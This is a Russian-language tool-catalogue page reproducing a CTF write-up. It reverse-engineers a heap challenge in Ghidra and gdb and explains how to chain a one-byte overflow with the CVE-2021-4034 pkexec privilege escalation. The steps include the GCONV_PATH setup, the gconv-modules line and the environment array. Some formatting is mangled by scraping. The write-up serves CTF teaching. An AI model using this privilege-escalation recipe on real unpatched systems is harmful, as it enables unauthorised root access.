Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-4034-CTF-writeup — Разбор CTF pwn-задачи с эксплуатацией CVE-2021-4034 (pkexec) через манипуляцию кучей, с реверс-инжинирингом в Ghidra и пользовательским вспомогательным бинарником shelly.so. | Kitploit
Инструменты/GitHubGitHub/wechicken456/cve-2021-4034-ctf-writeup
ЭксплуатацияОбратная инженерияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubwechicken456/cve-2021-4034-ctf-writeup

CVE-2021-4034-CTF-writeup

Разбор CTF pwn-задачи с эксплуатацией CVE-2021-4034 (pkexec) через манипуляцию кучей, с реверс-инжинирингом в Ghidra и пользовательским вспомогательным бинарником shelly.so.

Репозиторий
252 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-4034-CTF-writeup

Это CTF-pwn задание, которое я написал на C, требующее от пользователя эксплуатации уязвимости CVE-2021-4034. Участникам выдаются 2 бинарных файла в каталоге challenge этого репозитория. Бинарник chal реализует задание CTF, а shelly.so — вспомогательный бинарник.

Как эмулировать это задание

На момент написания этого райтапа Dockerfile ещё не завершён. Dockerfile требуется для развёртывания задания во время живого CTF, но не для локального запуска: вы всё ещё можете эмулировать это задание локально, настроив права пользователей и установив уязвимые пакеты следующим образом:

  1. Чтобы успешно эксплуатировать эту уязвимость, участникам, которые не используют Linux, сначала нужно установить Linux VM. Затем вам потребуется установить уязвимое ядро. Инструкции по этому поводу: [https://askubuntu.com/a/700221]
  2. Установите пакеты libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.
  3. Создайте файл flag.txt, принадлежащий , в текущем каталоге.
root:root
  • Создайте непривилегированного пользователя. Переключитесь на этого пользователя.
  • Загрузите файлы из каталога challenge в текущий каталог.
  • Запустите chal от имени непривилегированного пользователя.
  • Blind Analysis

    Запуск бинарника chal даёт нам смутное представление о том, что делает этот бинарник:``` WELCOME TO THE HUB CTRL+ALT+DELICIOUS We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte

    1. ENTER THE HUB
    2. QUIT 1 Order number: 0x7ffde93681f0 Enter your name: tin
    3. ADD NEW ORDER
    4. EDIT ORDER
    5. SHOW ORDER
    6. CANCEL ORDER
    7. CHECKOUT
    8. DONE 1 Pick your bread: aaaa Select your spread: bbbb Choose your veg: cccc Slam your meat & egg: dddc Any side notes for the cook? 0000
    9. ADD NEW ORDER
    10. EDIT ORDER
    11. SHOW ORDER
    12. CANCEL ORDER
    13. CHECKOUT
    14. DONE 1 Pick your bread: AAAA Select your spread: BBBB Choose your veg: CCCC Slam your meat & egg: DDDD Any side notes for the cook? 1111
    15. ADD NEW ORDER
    16. EDIT ORDER
    17. SHOW ORDER
    18. CANCEL ORDER
    19. CHECKOUT
    20. DONE 3 Enter order index: 0 aaaa, bbbb, cccc, dddc, 0000
    21. ADD NEW ORDER
    22. EDIT ORDER
    23. SHOW ORDER
    24. CANCEL ORDER
    25. CHECKOUT
    26. DONE 3 Enter order index: 1 AAAA, BBBB, CCCC, DDDD, 1111
    27. ADD NEW ORDER
    28. EDIT ORDER
    29. SHOW ORDER
    30. CANCEL ORDER
    31. CHECKOUT
    32. DONE 4 Enter order index: 1
    33. ADD NEW ORDER
    34. EDIT ORDER
    35. SHOW ORDER
    36. CANCEL ORDER
    37. CHECKOUT
    38. DONE 3 Enter order index: 1 Invalid index!
    39. ADD NEW ORDER
    40. EDIT ORDER
    41. SHOW ORDER
    42. CANCEL ORDER
    43. CHECKOUT
    44. DONE 5 /notes ./tin/notes
    45. ADD NEW ORDER
    46. EDIT ORDER
    47. SHOW ORDER
    48. CANCEL ORDER
    49. CHECKOUT
    50. DONE 6
    51. ENTER THE HUB
    52. QUIT 2 Come again :)
    root@kitploit:~
    Играя с размером ввода в функции `Add` и индексами функций `Cancel`, мы не получаем ничего особенного (ни переполнения, ни ошибки сегментации). Однако кое-что интересное:
      - Похоже, заказы помещаются в список (возможно, связный список), и они индексируются с нуля?
      - Здесь есть `Order number: 0x7ffde93681f0`, который, похоже, выводит какой-то адрес в стеке?
      - Кроме того, программа создаёт каталог с именем нашего ввода, а также 3 исполняемых файла, один из которых — это вспомогательный бинарный файл, который нам дан:```sh
    peasant@Tin-VM:~/Desktop$ ls
    chal  chal.c  Dockerfile shelly.so  solve.py  tin
    peasant@Tin-VM:~/Desktop$ ls -l tin/
    total 28
    -rwxrwx--- 1 peasant vboxsf     5 Feb  4 14:33 notes
    -rwxrwx--- 1 peasant vboxsf    20 Feb  4 14:33 recipe
    -rwxr-x--- 1 peasant vboxsf 16488 Feb  4 14:33 shelly.so
    peasant@Tin-VM:~/Desktop$ cat tin/notes 
    0000
    peasant@Tin-VM:~/Desktop$ cat tin/recipe 
    aaaa
    bbbb
    cccc
    dddc
    
    

    Исполняемые файлы содержат наш ввод.


    Анализ в Ghidra

    Вы можете повозиться с другими функциями в надежде наткнуться на баги (что вполне вероятно), но я перейду к сути и открою программу в Ghidra.

    Сравнивая строки, которые появляются при запуске программы, и строки, присутствующие в Ghidra, мы можем переименовать некоторые функции FUN_* в знакомые имена:```C undefined8 main(void)

    { int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");

    root@kitploit:~
    `printf("Order number: %p\n",&local_18);` **выводит адрес локальной переменной в стеке.**
    
    Быстрая проверка в gdb показывает, что утёкший адрес — это адрес указателя на константную строку `/recipe`:```gdb
    ...
    Order number: 0x7fffffffdfc0
    ...
    gef➤  x/gx 0x7fffffffdfc0
    0x7fffffffdfc0:	0x0000555555559020
    gef➤  x/s 0x0000555555559020
    0x555555559020:	"/recipe"
    

    Мы видим вызов mkdir, который создаёт каталог с нашим введённым именем в текущей директории.

    Это согласуется с тем, что мы наблюдали при запуске программы. Затем она инициализирует некоторые переменные перед вызовом функции main_menu, которая выглядит примерно так:```C while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { print("1. ADD NEW ORDER\n"); print("2. EDIT ORDER\n"); print("3. SHOW ORDER\n"); print("4. CANCEL ORDER\n"); print("5. CHECKOUT\n"); print("6. DONE\n"); __isoc99_scanf(&DAT_001030c5,&local_40); getc(stdin); if (local_40 != 1) break; add_order(); } if (local_40 != 2) break; edit_order(); } if (local_40 != 3) break; show_order(); } if (local_40 != 4) break; cancel_order(); } if (local_40 != 5) break; checkout(); } if (local_40 == 6) break; if (local_40 == 0x539) { print( "\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n" ); fgets(inp,0x20,stdin); getrandom(random-bytes,0x10,0); for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) { if (inp[local_3c] != random-bytes[local_3c]) { print("...Nuh Uh!...\n"); /* WARNING: Subroutine does not return */ exit(0); } print("...Ooh Yes.. sCruMpTioUs..."); } print("Fine... I'll give you a taste.\n"); FUN_00101504(); }

    root@kitploit:~
    Если вы не знакомы с REV, это декомпиляция оператора `switch` на C. Есть один интересный вариант, также известный как `0x539`.  Он позволяет игрокам угадать `0x10` случайных байт. Если все байты равны, то вызывается `FUN_00101504();`, которая вызывает `system("cat flag.txt");`. В противном случае программа завершается.
    
    Однако брутфорс 16 случайных байт эквивалентен попытке перебрать все 256**16 = 340282366920938463463374607431768211456 возможных комбинаций. Удачи с этим, лол.
    
    Даже если вы переберёте все комбинации, программа всё равно не имеет привилегий, поэтому не может прочитать флаг. Этот оператор `cat flag.txt` добавлен намеренно — не только чтобы обмануть неопытных игроков, заставив выбрать этот пункт меню `0x539`, но и чтобы помешать игрокам просто вызвать эту функцию для чтения флага, к чему мы ещё вернёмся позже.
    ***
    ## Add```C
      int iVar1;
      undefined8 *puVar2;
      void *pvVar3;
      undefined8 *ptr2;
      
      if (order_cnt < 10) {
        puVar2 = (undefined8 *)malloc(0x30);
        print("Pick your bread: ");
        readline(puVar2 + 1,8);
        print("Select your spread: ");
        readline(puVar2 + 2,8);
        print("Choose your veg: ");
        readline(puVar2 + 3,8);
        print("Slam your meat & egg: ");
        readline(puVar2 + 4,9);
        iVar1 = order_cnt;
        pvVar3 = malloc(0x30);
        *(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
        *puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
        print("Any side notes for the cook? ");
        readline(*puVar2,0x30);
        puVar2[5] = 0;
        if (DAT_00105140 != (undefined8 *)0x0) {
          for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
          }
          ptr2[5] = puVar2;
          puVar2 = DAT_00105140;
        }
        DAT_00105140 = puVar2;
        order_cnt = order_cnt + 1;
      }
    ...
    

    Если некоторые переменные выглядят не очень читаемо для тебя, это потому, что я потратил время на их переименование — тебе тоже стоит так делать при реверс-инжиниринге, чтобы отслеживать всё происходящее. Ладно, перейдём к основным моментам:

    • puVar2 — это malloc-чанк размером 0x30.
    • 0-е поле — указатель puVar3, длиной 8 байт, указывает на notes текущего чанка.
    • Следующие 4 поля — каждое по 8 байт, хотя мы можем прочитать 9 байт в 4-е поле, поэтому можем переполнить 1 байт в 5-е поле.
    • Однако строка puVar2[5] = 0; всё равно затирает наш 1-байтовый переполнение до NULL.
    • Затем, если глобальная переменная DAT_00105140 == 0, мы просто устанавливаем её в новый чанк, так что это может быть указатель head для списка?
    • В противном случае мы проходим цикл до последнего чанка в текущем списке и устанавливаем его 5-е поле в новый чанк. => 5-е поле — это указатель на следующий чанк в связном списке.

    Изменить```C

    ... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...

    root@kitploit:~
    Есть проверка для нашего индекса ввода, поэтому мы не можем редактировать произвольные места. 
    
    **Однако 9-байтовое чтение в 4-м поле, которое переполняет 1 байт в 5-е поле, всё ещё есть!!! Мы можем перезаписать 1 байт в указатель `nxt`**
    ***```C
    ...
        if (local_18 != (undefined8 *)0x0) {
          printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
        }
    ...
    

    %s будет выводить до нулевого символа, поэтому если наше 4-е поле имеет длину 8 байт, то 4-й %s выведет 4-е поле нашего чанка + значение указателя nxt в 5-th поле. => Мы получаем утечку heap!!!*


    Отмена

    Здесь ничего интересного.


    Оформление заказа```C

    strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);

    root@kitploit:~
    Таким образом, он создаёт файлы `recipe` и `notes` в каталоге, названном по нашему входному значению. Операторы `chmod` устанавливают для этих файлов исполняемый режим: `0x1f8` и `0x1c0` — это `0700` и `0770` в восьмеричной системе соответственно.```C
    ...
      for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
      {
        sVar2 = strlen((char *)(local_e0 + 1));
        write(iVar1,local_e0 + 1,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 2));
        write(iVar1,local_e0 + 2,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 3));
        write(iVar1,local_e0 + 3,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 1));
        write(iVar1,local_e0 + 4,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen(*local_e0);
        write(__fd,*local_e0,sVar2);
        write(__fd,&DAT_00103127,1);
        local_e0 = (char **)local_e0[5];
      }
      iVar1 = close(iVar1);
      if (-1 < iVar1) {
        iVar1 = close(__fd);
        if (-1 < iVar1) {
          local_58 = 0x2f706d742f207063;
          local_50 = 0x732e796c6c656873;
          local_48 = 0x206f;
          local_40 = 0;
          local_38 = 0;
          local_30 = 0;
          local_28 = 0;
          local_20 = 0;
          strcpy((char *)((long)&local_48 + 2),dir_name);
          system((char *)&local_58);
          if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
            __stack_chk_fail();
          }
          return;
        }
      }
    ...
    

    Этот огромный запутанный блок кода, по сути, записывает содержимое наших чанков в эти файлы, а затем выполняет команду cp /tmp/shelly.so dir_name, где dir_name — это имя, которое мы задаём программе в начале.


    FUN_00101e84```C

    void FUN_00101e84(void)

    { long in_FS_OFFSET; char *local_18; long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }

    root@kitploit:~
    Это интересная функция. Она вызывает `pkexec` с `NULL argv` и указателем на массив `notes` в качестве переменных окружения, что и является уязвимой командой в нашей CVE-2021-4034. Означает ли это, что нам нужно сформировать наши `notes` и каким-то образом перенаправить выполнение на эту функцию?
    
    ***
    ## shelly.so
    Открыв это в Ghidra, мы увидим, что это, очевидно, библиотека `set-UID-root`, похожая на те, что используются в эксплойте для CVE.
    
    ***
    # Сводка
    Некоторые ключевые моменты:
    1. В начале программы у нас есть утечка стека (номер заказа), которая содержит адрес константной строки `/recipe`, используемой при создании файла `recipe`.
    2. 0-е поле чанка — это указатель на его `notes`.
    3. 5-е поле чанка — это указатель `nxt` на следующий чанк в связном списке.
    4. `Show` может раскрыть heap-адрес, который является 5-м полем чанка.
    5. `Edit` может перезаписать 1 байт в 5-м поле. **ЭТО ЕДИНСТВЕННАЯ ОШИБКА ПРОИЗВОЛЬНОЙ ЗАПИСИ!!**
    6. `FUN_00101e84` вызывает `pkexec` с NULL argv и переменными окружения, которые мы контролируем (массив `notes`).
    ***
    
    # Эксплуатация
    
    ## Компоновка heap-чанка
    Быстрая проверка в gdb может показать нам смещение между разными чанками в нашей программе:```gdb
    ...
    Pick your bread: aaaa
    Select your spread: a
    Choose your veg: a
    Slam your meat & egg: a
    Any side notes for the cook? 0000
    1. ADD NEW ORDER
    2. EDIT ORDER
    3. SHOW ORDER
    4. CANCEL ORDER
    5. CHECKOUT
    6. DONE
    1
    Pick your bread: bbbb
    Select your spread: b
    Choose your veg: b
    Slam your meat & egg: b
    Any side notes for the cook? 1111
    ...
    gef➤  search-pattern aaaa
    [+] Searching 'aaaa' in memory
    [+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
      0x55555555aae8 - 0x55555555aaec  →   "aaaa" 
    gef➤  x/30gx 0x55555555aae8-0x18
    0x55555555aad0:	0x0000000000000000	0x0000000000000041
    0x55555555aae0:	0x000055555555ab20	0x0000000061616161
    0x55555555aaf0:	0x0000000000000061	0x0000000000000061
    0x55555555ab00:	0x0000000000000061	0x000055555555ab60
    0x55555555ab10:	0x0000000000000000	0x0000000000000041
    0x55555555ab20:	0x0000000030303030	0x0000000000000000
    0x55555555ab30:	0x0000000000000000	0x0000000000000000
    0x55555555ab40:	0x0000000000000000	0x0000000000000000
    0x55555555ab50:	0x0000000000000000	0x0000000000000041
    0x55555555ab60:	0x000055555555aba0	0x0000000062626262
    0x55555555ab70:	0x0000000000000062	0x0000000000000062
    0x55555555ab80:	0x0000000000000062	0x0000000000000000
    0x55555555ab90:	0x0000000000000000	0x0000000000000041
    0x55555555aba0:	0x0000000031313131	0x0000000000000000
    0x55555555abb0:	0x0000000000000000	0x0000000000000000
    

    Итак, размер чанков равен 0x40 (включая 0x10 байт метаданных), и они разделены (от начала текущего чанка до начала следующего) смещением 0x40+0x40 = 0x80. Это потому, что notes выделяются при каждом выделении чанка, поэтому они всегда попадают между соседними чанками.

    Запись в произвольное место

    Прежде чем перейти к эксплойту, как мы можем использовать 1-байтовые переполнения для записи по произвольному адресу? Мы можем использовать следующую стратегию:

    1. Выделить 3 чанка: A , B , C.
    2. Утечь указатель nxt второго чанка (второй пункт в разделе Summary).
      • Утёкший адрес (то есть следующий чанк) — это C.
      • Тогда адрес текущего чанка будет B = C-0x80.
      • Пусть наименее значимый байт B будет x.
    3. Переполнить 1 байт x + 8, записав его в 5-е поле текущего чанка. Результирующий указатель nxt будет равен B + 8.
      • Здесь нужно быть осторожным: используя фрагмент памяти выше, если взять текущий чанк как первый, то есть A = 0x55555555aae0, утёкший адрес будет B = 0x55555555ab60, а x = 0xe8.
      • Если перезаписать последний байт в 5-е поле A по адресу 0x55555555ab08 значением x, результирующий указатель nxt будет 0x55555555**ab**e8 != 0x55555555**aa**e8, а это не то, что нам нужно.
      • Поэтому мы должны выбрать текущий чанк и следующий чанк так, чтобы их 2-е наименее значимые байты совпадали.
    4. Итак, теперь 3-й чанк находится по адресу B + 8, а не C. Отредактируем чанк B так, чтобы его 1-е поле (bread) содержало целевой адрес target, в который мы хотим писать.
    5. Отредактируем 3-й чанк, что перезапишет содержимое, начиная с B + 8. Указатель notes этого 3-го чанка — это target! Так что всё, что мы записываем в notes, будет записано в target!

    1-й способ — переход к "cat flag.txt"

    Существует способ перейти к этой функции, но я не буду его обсуждать. Но прежде чем попробовать это, взгляните на Dockerfile. Замечаете что-нибудь насчёт flag.txt?``` ... chown root:root /home/ctf/flag.txt ... USER peasant CMD ["/home/ctf/start.sh"]

    root@kitploit:~
    ***ФАЙЛ ПРИНАДЛЕЖИТ ROOT, В ТО ВРЕМЯ КАК ПРОГРАММА ЗАПУСКАЕТСЯ И ПРИНАДЛЕЖИТ НЕПРИВИЛЕГИРОВАННОМУ ПОЛЬЗОВАТЕЛЮ***.
    Поэтому даже если вы выполните `cat flag.txt`, флаг не выведется, потому что у программы нет прав на доступ к файлу. Это означает, что нам нужно повысить привилегии до root, чтобы прочитать флаг.
    ## 2-й способ — CVE-2021-4034
    Для эксплуатации CVE-2021-4034 нам нужна следующая настройка:
    1. Каталог с именем `GCONV_PATH=.`
    2. В этом каталоге нам нужен исполняемый файл, имя которого совпадает с именем каталога, где будет находиться наш конфигурационный файл `gconv-modules`. Пусть это будет `recipe` в нашем задании.
    3. В каталоге `recipe` нам нужен файл с именем `gconv-modules` с содержимым, которые мы контролируем, и динамическая библиотека, которая запустит нам шелл (возможно, это данная бинарная библиотека `shelly.so`)?
    4. Затем в нашем `gconv-modules` нам нужно указать ту же CHARSET, что и в шаге 5 ниже, и имя нашей динамической библиотеки `shelly.so` так: `module UTF-8// SHELLY// shelly 2`.
    5. После всего этого мы вызываем `pkexec` с NULL argv и сформированным массивом переменных окружения = `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.
    
    Теперь мы эксплуатируем это задание, чтобы получить описанную выше настройку.
    
    ***
    ### Цели 1-2
    Шаги 1-2 простые: нам нужно лишь войти под именем пользователя `GCONV_PATH=.`, чтобы создать этот каталог. Затем мы делаем `checkout`, чтобы создать исполняемый файл `recipe` в этом каталоге. После этого возвращаемся в первое меню.
    ***
    ### Цели 3-4
    Мы входим под именем пользователя `recipe`, чтобы создать этот каталог. Теперь нам *нужно* создать файл с именем `gconv-modules`, но `checkout` создаёт только файлы `recipe` и `notes`.
    
    Что если мы перезапишем область памяти для строки `/notes`, чтобы она стала `/gconv-modules`? Это может сработать, но требует, чтобы эта память была доступна для записи. Проверим это в gdb:```gdb
    gef➤  search-pattern /notes
    [+] Searching '/notes' in memory
    [+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
      0x555555559010 - 0x555555559016  →   "/notes" 
    

    И он доступен для записи!

    Как мы выполняем запись?

    1. Мы используем описанную выше стратегию произвольной записи, чтобы произвольно ПРОЧИТАТЬ местоположение утёкшего адреса стека. Это даёт нам понять, где находится /recipe.
    2. Быстрая проверка в gdb может сказать нам, что смещение от /recipe до /notes равно 0x10. Вычтите это из адреса /recipe, полученного на шаге 1, чтобы получить адрес /notes.
    3. Используйте описанную выше стратегию произвольной записи, чтобы перезаписать /notes на /gconv-modules.

    Что касается записи правильного содержимого в файл gconv-modules, мы знаем, что при checkout содержимое notes чанков будет записано в /notes, который теперь является /gconv-modules. Чтобы быть уверенными, мы можем просто передать строку module UTF-8// SHELLY// shelly 2 в каждый notes.

    Итак, теперь, когда мы вызываем checkout, он создаст 2 файла recipe и gconv-modules и запишет несколько строк module UTF-8// SHELLY// shelly 2 (мы используем shelly, потому что так называется переданная библиотека .so с установленным set-uid-root) в файл gconv-modules. Он также скопирует shelly.so в ту же директорию.

    Цель 5

    1. Мы выделяем 4 чанка, чьи notes содержат соответствующие переменные окружения. Массив указателей notes будет содержать 4 указателя на эти 4 notes и завершающий NULL-указатель, что именно нам и нужно.
    2. Выделите дополнительные чанки и используйте ту же стратегию, что и для цели 3-4, чтобы перезаписать RIP функции main на нашу секретную функцию FUN_00101e84.
      • Откуда мы знаем, где находится RIP? Помните утёкший адрес стека в начале программы? Зайдите в gdb, чтобы выяснить его смещение до RIP, затем прибавьте это смещение к фактическому утёкшему адресу, чтобы получить RIP.
      • Откуда мы знаем, где находится main? Помните утёкший адрес /recipe из шага 2 цели 3-4? Сделайте то же самое здесь!
    3. Наслаждайтесь вашей оболочкой :)

    Скрипт решения с комментариями предоставлен в этом репозитории. Не стесняйтесь обращаться ко мне, если у вас есть вопросы :)

    Скачать инструмент